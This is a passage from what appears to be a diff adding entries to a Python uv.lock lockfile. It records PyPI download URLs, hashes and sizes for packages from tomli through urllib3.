"https://files.pythonhosted.org/packages/e9/05/2f9bf110b5294132b2edf13fe6ca6ae456204f3d749f623307cbb7a946f2/tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8", size = 149053, upload-time = "2026-01-11T11:21:57.467Z" }, + { url = "https://files.pythonhosted.org/packages/e8/41/1eda3ca1abc6f6154a8db4d714a4d35c4ad90adc0bcf700657291593fbf3/tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a", size = 243481, upload-time = "2026-01-11T11:21:58.661Z" }, + { url = "https://files.pythonhosted.org/packages/d2/6d/02ff5ab6c8868b41e7d4b987ce2b5f6a51d3335a70aa144edd999e055a01/tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1", size = 251720, upload-time = "2026-01-11T11:22:00.178Z" }, + { url = "https://files.pythonhosted.org/packages/7b/57/0405c59a909c45d5b6f146107c6d997825aa87568b042042f7a9c0afed34/tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b", size = 247014, upload-time = "2026-01-11T11:22:01.238Z" }, + { url = "https://files.pythonhosted.org/packages/2c/0e/2e37568edd944b4165735687cbaf2fe3648129e440c26d02223672ee0630/tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51", size = 251820, upload-time = "2026-01-11T11:22:02.727Z" }, + { url = "https://files.pythonhosted.org/packages/5a/1c/ee3b707fdac82aeeb92d1a113f803cf6d0f37bdca0849cb489553e1f417a/tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729", size = 97712, upload-time = "2026-01-11T11:22:03.777Z" }, + { url = "https://files.pythonhosted.org/packages/69/13/c07a9177d0b3bab7913299b9278845fc6eaaca14a02667c6be0b0a2270c8/tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da", size = 108296, upload-time = "2026-01-11T11:22:04.86Z" }, + { url = "https://files.pythonhosted.org/packages/18/27/e267a60bbeeee343bcc279bb9e8fbed0cbe224bc7b2a3dc2975f22809a09/tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3", size = 94553, upload-time = "2026-01-11T11:22:05.854Z" }, + { url = "https://files.pythonhosted.org/packages/34/91/7f65f9809f2936e1f4ce6268ae1903074563603b2a2bd969ebbda802744f/tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0", size = 154915, upload-time = "2026-01-11T11:22:06.703Z" }, + { url = "https://files.pythonhosted.org/packages/20/aa/64dd73a5a849c2e8f216b755599c511badde80e91e9bc2271baa7b2cdbb1/tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e", size = 149038, upload-time = "2026-01-11T11:22:07.56Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8a/6d38870bd3d52c8d1505ce054469a73f73a0fe62c0eaf5dddf61447e32fa/tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4", size = 242245, upload-time = "2026-01-11T11:22:08.344Z" }, + { url = "https://files.pythonhosted.org/packages/59/bb/8002fadefb64ab2669e5b977df3f5e444febea60e717e755b38bb7c41029/tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e", size = 250335, upload-time = "2026-01-11T11:22:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a5/3d/4cdb6f791682b2ea916af2de96121b3cb1284d7c203d97d92d6003e91c8d/tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c", size = 245962, upload-time = "2026-01-11T11:22:11.27Z" }, + { url = "https://files.pythonhosted.org/packages/f2/4a/5f25789f9a460bd858ba9756ff52d0830d825b458e13f754952dd15fb7bb/tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f", size = 250396, upload-time = "2026-01-11T11:22:12.325Z" }, + { url = "https://files.pythonhosted.org/packages/aa/2f/b73a36fea58dfa08e8b3a268750e6853a6aac2a349241a905ebd86f3047a/tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86", size = 97530, upload-time = "2026-01-11T11:22:13.865Z" }, + { url = "https://files.pythonhosted.org/packages/3b/af/ca18c134b5d75de7e8dc551c5234eaba2e8e951f6b30139599b53de9c187/tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87", size = 108227, upload-time = "2026-01-11T11:22:15.224Z" }, + { url = "https://files.pythonhosted.org/packages/22/c3/b386b832f209fee8073c8138ec50f27b4460db2fdae9ffe022df89a57f9b/tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132", size = 94748, upload-time = "2026-01-11T11:22:16.009Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c4/84047a97eb1004418bc10bdbcfebda209fca6338002eba2dc27cc6d13563/tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6", size = 154725, upload-time = "2026-01-11T11:22:17.269Z" }, + { url = "https://files.pythonhosted.org/packages/a8/5d/d39038e646060b9d76274078cddf146ced86dc2b9e8bbf737ad5983609a0/tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc", size = 148901, upload-time = "2026-01-11T11:22:18.287Z" }, + { url = "https://files.pythonhosted.org/packages/73/e5/383be1724cb30f4ce44983d249645684a48c435e1cd4f8b5cded8a816d3c/tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66", size = 243375, upload-time = "2026-01-11T11:22:19.154Z" }, + { url = "https://files.pythonhosted.org/packages/31/f0/bea80c17971c8d16d3cc109dc3585b0f2ce1036b5f4a8a183789023574f2/tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d", size = 250639, upload-time = "2026-01-11T11:22:20.168Z" }, + { url = "https://files.pythonhosted.org/packages/2c/8f/2853c36abbb7608e3f945d8a74e32ed3a74ee3a1f468f1ffc7d1cb3abba6/tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702", size = 246897, upload-time = "2026-01-11T11:22:21.544Z" }, + { url = "https://files.pythonhosted.org/packages/49/f0/6c05e3196ed5337b9fe7ea003e95fd3819a840b7a0f2bf5a408ef1dad8ed/tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8", size = 254697, upload-time = "2026-01-11T11:22:23.058Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f5/2922ef29c9f2951883525def7429967fc4d8208494e5ab524234f06b688b/tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776", size = 98567, upload-time = "2026-01-11T11:22:24.033Z" }, + { url = "https://files.pythonhosted.org/packages/7b/31/22b52e2e06dd2a5fdbc3ee73226d763b184ff21fc24e20316a44ccc4d96b/tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475", size = 108556, upload-time = "2026-01-11T11:22:25.378Z" }, + { url = "https://files.pythonhosted.org/packages/48/3d/5058dff3255a3d01b705413f64f4306a141a8fd7a251e5a495e3f192a998/tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2", size = 96014, upload-time = "2026-01-11T11:22:26.138Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4e/75dab8586e268424202d3a1997ef6014919c941b50642a1682df43204c22/tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9", size = 163339, upload-time = "2026-01-11T11:22:27.143Z" }, + { url = "https://files.pythonhosted.org/packages/06/e3/b904d9ab1016829a776d97f163f183a48be6a4deb87304d1e0116a349519/tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0", size = 159490, upload-time = "2026-01-11T11:22:28.399Z" }, + { url = "https://files.pythonhosted.org/packages/e3/5a/fc3622c8b1ad823e8ea98a35e3c632ee316d48f66f80f9708ceb4f2a0322/tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df", size = 269398, upload-time = "2026-01-11T11:22:29.345Z" }, + { url = "https://files.pythonhosted.org/packages/fd/33/62bd6152c8bdd4c305ad9faca48f51d3acb2df1f8791b1477d46ff86e7f8/tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d", size = 276515, upload-time = "2026-01-11T11:22:30.327Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ff/ae53619499f5235ee4211e62a8d7982ba9e439a0fb4f2f351a93d67c1dd2/tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f", size = 273806, upload-time = "2026-01-11T11:22:32.56Z" }, + { url = "https://files.pythonhosted.org/packages/47/71/cbca7787fa68d4d0a9f7072821980b39fbb1b6faeb5f5cf02f4a5559fa28/tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b", size = 281340, upload-time = "2026-01-11T11:22:33.505Z" }, + { url = "https://files.pythonhosted.org/packages/f5/00/d595c120963ad42474cf6ee7771ad0d0e8a49d0f01e29576ee9195d9ecdf/tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087", size = 108106, upload-time = "2026-01-11T11:22:34.451Z" }, + { url = "https://files.pythonhosted.org/packages/de/69/9aa0c6a505c2f80e519b43764f8b4ba93b5a0bbd2d9a9de6e2b24271b9a5/tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd", size = 120504, upload-time = "2026-01-11T11:22:35.764Z" }, + { url = "https://files.pythonhosted.org/packages/b3/9f/f1668c281c58cfae01482f7114a4b88d345e4c140386241a1a24dcc9e7bc/tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4", size = 99561, upload-time = "2026-01-11T11:22:36.624Z" }, + { url = "https://files.pythonhosted.org/packages/23/d1/136eb2cb77520a31e1f64cbae9d33ec6df0d78bdf4160398e86eec8a8754/tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a", size = 14477, upload-time = "2026-01-11T11:22:37.446Z" }, +] + +[[package]] +name = "tornado" +version = "6.5.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/64/24/95ec527ad67b76d59299e5465b3935d05e4294b7e0290a3924b7487df30b/tornado-6.5.7.tar.gz", hash = "sha256:66c513a76cda70d53907bc27cf1447557699c2e95aa48ba27a442ff61c3ddfc2", size = 519252, upload-time = "2026-06-08T17:34:51.232Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/02/dc/c7043cab6fed8ae159fc1923ce829ada35c4dbd797d408a43858ffaf9639/tornado-6.5.7-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:148b2eb15c2c765a50796172c1e499649b35f30d2e3c3d3e15913cfa56bfb163", size = 448543, upload-time = "2026-06-08T17:34:38.052Z" }, + { url = "https://files.pythonhosted.org/packages/92/4f/090b1431e5a43df696feceffc268c5383cc079ecb5f08ce58f917109aafe/tornado-6.5.7-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:9da38de27f1da3b78a966f0dae12b5a1ea9afe72ca805d84ff06508272ddf100", size = 446707, upload-time = "2026-06-08T17:34:39.594Z" }, + { url = "https://files.pythonhosted.org/packages/37/d8/ef374952fd5da67d4463122c2b8e5a96536ec10b4b339254c6dcde81d01c/tornado-6.5.7-cp39-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8d759e71906ee783f8867b93bf26a265743da4c1e2f4a018464c1ba019862972", size = 449774, upload-time = "2026-06-08T17:34:41.204Z" }, + { url = "https://files.pythonhosted.org/packages/35/37/d434c73f4c6e014b745b9b37085f34f40c022f007efff3d7fe65991899f3/tornado-6.5.7-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a46347a18f23fb92b396beebe0fb78f61dda0cc302445202c16203d8a18848b", size = 450745, upload-time = "2026-06-08T17:34:42.531Z" }, + { url = "https://files.pythonhosted.org/packages/b6/2b/56b9aff361d7f1ab728a805ec7d7ea835f8807afa9f5cc690ea0e630efb9/tornado-6.5.7-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:7778b30bef919231265e91c69963ce0f49a1e9c07ac900bbe75b19ce2575ba92", size = 450578, upload-time = "2026-06-08T17:34:43.787Z" }, + { url = "https://files.pythonhosted.org/packages/02/30/a7444fb23aa76860a14198fab96ac79f1866b0a6e19e26c4381b0938e50f/tornado-6.5.7-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:e726f0c75da7726eec023aa62751ff8878bd2737e34fbdd33b1ae5897d2200f5", size = 449985, upload-time = "2026-06-08T17:34:45.326Z" }, + { url = "https://files.pythonhosted.org/packages/5c/42/5f0e56c01e8d9d36f4e23f367b85ae6cae0c1ecddd5e6977d8388ad27488/tornado-6.5.7-cp39-abi3-win32.whl", hash = "sha256:f8de3bf12d3efdd0cbe7c8887868198f8a91415e3f29fcf258d9b8eb7b1d9ae4", size = 451047, upload-time = "2026-06-08T17:34:46.784Z" }, + { url = "https://files.pythonhosted.org/packages/c9/a4/b393076ffb21b469eec5b328a0534cf03a3b90bfc6b1f09507cdd075d938/tornado-6.5.7-cp39-abi3-win_amd64.whl", hash = "sha256:de942f843533a039ef9fa3d9c88c7cd8a7c94553fb5ad0154270989b3d99a2c4", size = 451485, upload-time = "2026-06-08T17:34:48.248Z" }, + { url = "https://files.pythonhosted.org/packages/71/2e/7b1c769803121b809112cf9a00681c472eae1d80e32d7ec0e0bd61d0d0e1/tornado-6.5.7-cp39-abi3-win_arm64.whl", hash = "sha256:ff934fce95643af5f11efdae618eaa73d469dc588641e5c8d19295a0c65c4796", size = 450506, upload-time = "2026-06-08T17:34:49.702Z" }, +] + +[[package]] +name = "traitlets" +version = "5.14.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/eb/79/72064e6a701c2183016abbbfedaba506d81e30e232a68c9f0d6f6fcd1574/traitlets-5.14.3.tar.gz", hash = "sha256:9ed0579d3502c94b4b3732ac120375cda96f923114522847de4b3bb98b96b6b7", size = 161621, upload-time = "2024-04-19T11:11:49.746Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/00/c0/8f5d070730d7836adc9c9b6408dec68c6ced86b304a9b26a14df072a6e8c/traitlets-5.14.3-py3-none-any.whl", hash = "sha256:b74e89e397b1ed28cc831db7aea759ba6640cb3de13090ca145426688ff1ac4f", size = 85359, upload-time = "2024-04-19T11:11:46.763Z" }, +] + +[[package]] +name = "truststore" +version = "0.10.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/a3/1585216310e344e8102c22482f6060c7a6ea0322b63e026372e6dcefcfd6/truststore-0.10.4.tar.gz", hash = "sha256:9d91bd436463ad5e4ee4aba766628dd6cd7010cf3e2461756b3303710eebc301", size = 26169, upload-time = "2025-08-12T18:49:02.73Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" }, +] + +[[package]] +name = "ty" +version = "0.0.55" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/08/48/f687c8d268e3581f2f104d1f2ac5944d5b5e841b3695c613b3f263e5bbf7/ty-0.0.55.tar.gz", hash = "sha256:88ca87073825a79a8327c550efcc86cec94344890244c5946f84c9e44a969f31", size = 6040230, upload-time = "2026-06-27T00:27:29.385Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/a3/1a90ba7e5a61c6d09adb92346ddba97668095fc257b577af433e5ac4f404/ty-0.0.55-py3-none-linux_armv6l.whl", hash = "sha256:31e83eef512d066542fe990fe1a3b814423abd1616376c54e48af7045b3e1749", size = 11677249, upload-time = "2026-06-27T00:26:52.18Z" }, + { url = "https://files.pythonhosted.org/packages/82/3a/669f9aa478c38243e213a2684db1502086026cfadc15bb1b29b7cbde030d/ty-0.0.55-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ab4bca857950608fea73e269e2da369d43e6467131de85160d68e2fa466fa248", size = 11444180, upload-time = "2026-06-27T00:26:54.576Z" }, + { url = "https://files.pythonhosted.org/packages/15/a4/6a4b2507a53ce6530c66c5b4fe0d58551eb1748ffa9e0696c32fdd55bbd4/ty-0.0.55-py3-none-macosx_11_0_arm64.whl", hash = "sha256:55032bfd31bf2c5355ee81bdc6407b144a1cc7ee41e5681dd1368e4cef2ba327", size = 10963134, upload-time = "2026-06-27T00:26:57.348Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ae/a3b1a0f1cc83b7d258662cb98aa80a720c2e671d0e8fa0d17a4d5d057a7a/ty-0.0.55-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef1e049f69ce65b3c269af67624607f435e1c32319786c1e453ef9611502f295", size = 11493517, upload-time = "2026-06-27T00:26:59.26Z" }, + { url = "https://files.pythonhosted.org/packages/0d/9f/311ce39065a979ef40a9b847f685c8e02464e53adf1671e081eea90640ca/ty-0.0.55-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:631409975c681d5a280fc5a99b7b32e9e801f33be7567c6b42ec331362f59d7d", size = 11460590, upload-time = "2026-06-27T00:27:01.425Z" }, + { url = "https://files.pythonhosted.org/packages/cd/8f/3bf29aa77bd78aae48275153135a2052fa7d3ccdf1ecabeb99c8773abd66/ty-0.0.55-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e08cb0436e68b9351555ae8f2697138c9009b4d5b4ae4272232988b2a431a98f", size = 12098430, upload-time = "2026-06-27T00:27:03.596Z" }, + { url = "https://files.pythonhosted.org/packages/bc/6e/e88411a88240b94640bba06fb6d0d92b247fbeef47ee2bc71f39e58c2558/ty-0.0.55-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:16c215ad9f823829409b94ee188cfaa4563f6e1384f6ce3fecb1db75f6c7cf7c", size = 12673086, upload-time = "2026-06-27T00:27:05.589Z" }, + { url = "https://files.pythonhosted.org/packages/6c/7e/8f1762fb7f9245a68ba5ae338d73c59403ce57554e5d311b8bb55027b0ec/ty-0.0.55-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b510eb8f4032baf11b7aee2f1d53babc3b4ca03939b9cdcf6a9d15761d575188", size = 12242559, upload-time = "2026-06-27T00:27:07.714Z" }, + { url = "https://files.pythonhosted.org/packages/72/1f/143657daf2670d977dac83435f1fe03d4843efb798d8e1e75950e541aadd/ty-0.0.55-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ddc05e7959709c3b9b83aa627128a80446865e3c1a4882638dcff6d776dc34a", size = 12021409, upload-time = "2026-06-27T00:27:09.881Z" }, + { url = "https://files.pythonhosted.org/packages/6d/30/69487c439dd1fad3a4a3d96f0a472193de297eaba6fc4b8ea687ce434ac2/ty-0.0.55-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:636e8e5078787b8c6916c94e1406719f10189a4ca6b37b813a5922ce5857a8c7", size = 12303807, upload-time = "2026-06-27T00:27:11.986Z" }, + { url = "https://files.pythonhosted.org/packages/e8/ca/cd88b6493dafc7db077f5e17c0438eb3af6e2d6d08f616dbb52a8ddfd567/ty-0.0.55-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:ef7d6deaacb73fec603666b5471f1dc5a5699aa84e11a6d4d644dd07ca72121e", size = 11441263, upload-time = "2026-06-27T00:27:14.087Z" }, + { url = "https://files.pythonhosted.org/packages/aa/fe/66b6915671653ab739f71e4f1b0528e69da64429b7ebf3840c625b6e43f2/ty-0.0.55-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:9aeea0fe5875d3cf37faf0e44d0fdf9669335467749741b8fc0103916fb5cd32", size = 11484584, upload-time = "2026-06-27T00:27:16.311Z" }, + { url = "https://files.pythonhosted.org/packages/4a/4f/7a9c0bbac8b899e9f6c0ec110c6612f52e4db35f6bb17ddc0ef60384fa3e/ty-0.0.55-py3-none-musllinux_1_2_i686.whl", hash = "sha256:0b699c01310dbd2705a07c97c5f4aaeedef61bd9adeea2e7c46aed32401d3576", size = 11759309, upload-time = "2026-06-27T00:27:18.471Z" }, + { url = "https://files.pythonhosted.org/packages/ca/de/b6f8b1b69aa631b5716ef3f985c3b56de0e46c2499cc00d30c402b41f714/ty-0.0.55-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:32cbeba543e46de2a983ec6d525d8b56514f7422bd1e1b57c44ccf7bfa72c38a", size = 12128755, upload-time = "2026-06-27T00:27:20.55Z" }, + { url = "https://files.pythonhosted.org/packages/7d/90/a912531e51ee7e076b42972479290fa687c0f5e747b7e773f3033164acaa/ty-0.0.55-py3-none-win32.whl", hash = "sha256:52b968e24eb4f7a5c3bd251db1f99f60dd385890356d38fc619d84f1b423446a", size = 11117501, upload-time = "2026-06-27T00:27:22.714Z" }, + { url = "https://files.pythonhosted.org/packages/4c/7a/99d59843bf8908a7f9f4d13fda107dbad07b7faa28ecd7860eacf363fb1c/ty-0.0.55-py3-none-win_amd64.whl", hash = "sha256:bf39cbfdc0add44d94bd3fff1f53c351418d134b6a66b87efdb7876d7b7a2224", size = 12150106, upload-time = "2026-06-27T00:27:24.881Z" }, + { url = "https://files.pythonhosted.org/packages/b3/44/20987505cedf2a865b08482f0eabc181fd9599b062964057ec8a128a4296/ty-0.0.55-py3-none-win_arm64.whl", hash = "sha256:f7f3700a9a060e8f1af11e4fb63fafcaf272b041781f4ccdfda2b3b5c6c1e439", size = 11560157, upload-time = "2026-06-27T00:27:27.332Z" }, +] + +[[package]] +name = "types-requests" +version = "2.33.0.20260518" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e0/01/c5a19253fe1ac159159ddf9a3a07cec8bb5e486ec4d9002ad2821da0e5d2/types_requests-2.33.0.20260518.tar.gz", hash = "sha256:df7bd3bfe0ca8402dfb841e7d9be714bb5578203283d66d7dc4ef69343449a5e", size = 24752, upload-time = "2026-05-18T06:07:37.966Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1c/bc/b139710a3b6018f7fb2b9508b35c8af564e61bf2bf4fa619d088f3e16f85/types_requests-2.33.0.20260518-py3-none-any.whl", hash = "sha256:626d697d1adaaff76e2044dc8c5c051d8f21abc157bdfe204a75558076fe0bf0", size = 21391, upload-time = "2026-05-18T06:07:37.044Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "tzdata" +version = "2025.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5e/a7/c202b344c5ca7daf398f3b8a477eeb205cf3b6f32e7ec3a6bac0629ca975/tzdata-2025.3.tar.gz", hash = "sha256:de39c2ca5dc7b0344f2eba86f49d614019d29f060fc4ebc8a417896a620b56a7", size = 196772, upload-time = "2025-12-13T17:45:35.667Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/b0/003792df09decd6849a5e39c28b513c06e84436a54440380862b5aeff25d/tzdata-2025.3-py2.py3-none-any.whl", hash = "sha256:06a47e5700f3081aab02b2e513160914ff0694bce9947d6b76ebd6bf57cfc5d1", size = 348521, upload-time = "2025-12-13T17:45:33.889Z" }, +] + +[[package]] +name = "uri-template" +version = "1.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/31/c7/0336f2bd0bcbada6ccef7aaa25e443c118a704f828a0620c6fa0207c1b64/uri-template-1.3.0.tar.gz", hash = "sha256:0e00f8eb65e18c7de20d595a14336e9f337ead580c70934141624b6d1ffdacc7", size = 21678, upload-time = "2023-06-21T01:49:05.374Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e7/00/3fca040d7cf8a32776d3d81a00c8ee7457e00f80c649f1e4a863c8321ae9/uri_template-1.3.0-py3-none-any.whl", hash = "sha256:a44a133ea12d44a0c0f06d7d42a52d71282e77e2f937d8abd5655b8d56fc1363", size = 11140, upload-time = "2023-06-21T01:49:03.467Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = 